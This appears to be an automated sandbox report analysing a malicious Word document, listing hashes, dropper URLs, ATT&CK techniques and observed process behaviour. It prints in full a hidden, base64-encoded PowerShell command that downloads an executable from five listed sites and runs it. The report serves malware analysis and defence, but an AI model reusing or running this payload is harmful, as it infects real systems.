d9646f7930b56f53d15c7219242c6baa6ba46140b24b6a64968f3758e0352043

General

Target

d9646f7930b56f53d15c7219242c6baa6ba46140b24b6a64968f3758e0352043.doc
Size

184KB
MD5

0bc51659259980fded8d6e127a6a886e
SHA1

5a944956e1c556fcec6310c4286218e62161a15b
SHA256

d9646f7930b56f53d15c7219242c6baa6ba46140b24b6a64968f3758e0352043
SHA512

9a386caf62eec21b5c00386a9b155ede0e936019b1c674504acac4df33998bcd7f80df02ff9d0b764a15fa9a0df2e44df3e7b414eca3a7e00f09b9beffa8a0e8
SSDEEP

3072:C92y/GdynktGDWLS0HZWD5w8K7Nk9uD7IBUQUasgt+PpkkrbfzHQfzZExXMHIwtV:C92k43tGiL3HJk9uD7bQUasFPpkkrbfk

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://amstaffrecords.com/individualApi/0/

exe.dropper

http://foozoop.com/wp-content/Qxi7iVD/

exe.dropper

http://7arasport.com/validatefield/gj/

exe.dropper

http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/

exe.dropper

https://diagnostica-products.com/wp-admin/hio2u7w/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3720	4084	Powershell.exe	84

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	3720	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3720	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4592	WINWORD.EXE
4592	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3720	Powershell.exe
3720	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3720	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4592	WINWORD.EXE
4592	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE
4592	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 2564	4592	WINWORD.EXE	86
PID 4592 wrote to memory of 2564	4592	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d9646f7930b56f53d15c7219242c6baa6ba46140b24b6a64968f3758e0352043.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2564

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\72B79C34.wmf

Filesize
444B

MD5
d456688762036974b1de82f373594b32

SHA1
b635390bd12ea2cefa706df1ed259ded9ec8bd48

SHA256
d6050f16e292ec3363b1593e1307f1122c398f17f5992a62b35a4422fc6cc3cd

SHA512
0a7c66f307227ab29972548f6d4f1cf868ec048a7aaf4c11963b8eebb7b579d5a1af463fcf28a8ca39e724daf05daf7196acdef8388e2426154d27cbf546acb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF10D.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yfino0kr.50q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
4cccf0fd38909b22117e4bb1ac95aef8

SHA1
932e0190f42581ce7cfa22663d7ea61547ef9ed4

SHA256
9045b74b9d4ce8f0eae2d18df5c0fdb0e1901d005ba315218fecc9309369fa25

SHA512
66858ff7ae82d7073fdbbd26df82b8afa1277ad168b4f67e4f55306972bb1f947c6d0b9f3b95c1a94475addbe1c60c0f7fc6db4148aadcb2d84bfe97a8b5e952

Download Submit
memory/3720-52-0x0000025637650000-0x0000025637672000-memory.dmp

Filesize
136KB

Download
memory/4592-8-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-16-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp

Filesize
64KB

Download
memory/4592-7-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

Filesize
64KB

Download
memory/4592-6-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-9-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-13-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-12-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-14-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-11-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-10-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-15-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp

Filesize
64KB

Download
memory/4592-0-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp

Filesize
4KB

Download
memory/4592-4-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

Filesize
64KB

Download
memory/4592-5-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-2-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

Filesize
64KB

Download
memory/4592-68-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-70-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-69-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp

Filesize
4KB

Download
memory/4592-71-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

Filesize
2.0MB

Download
memory/4592-3-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

Filesize
64KB

Download
memory/4592-1-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads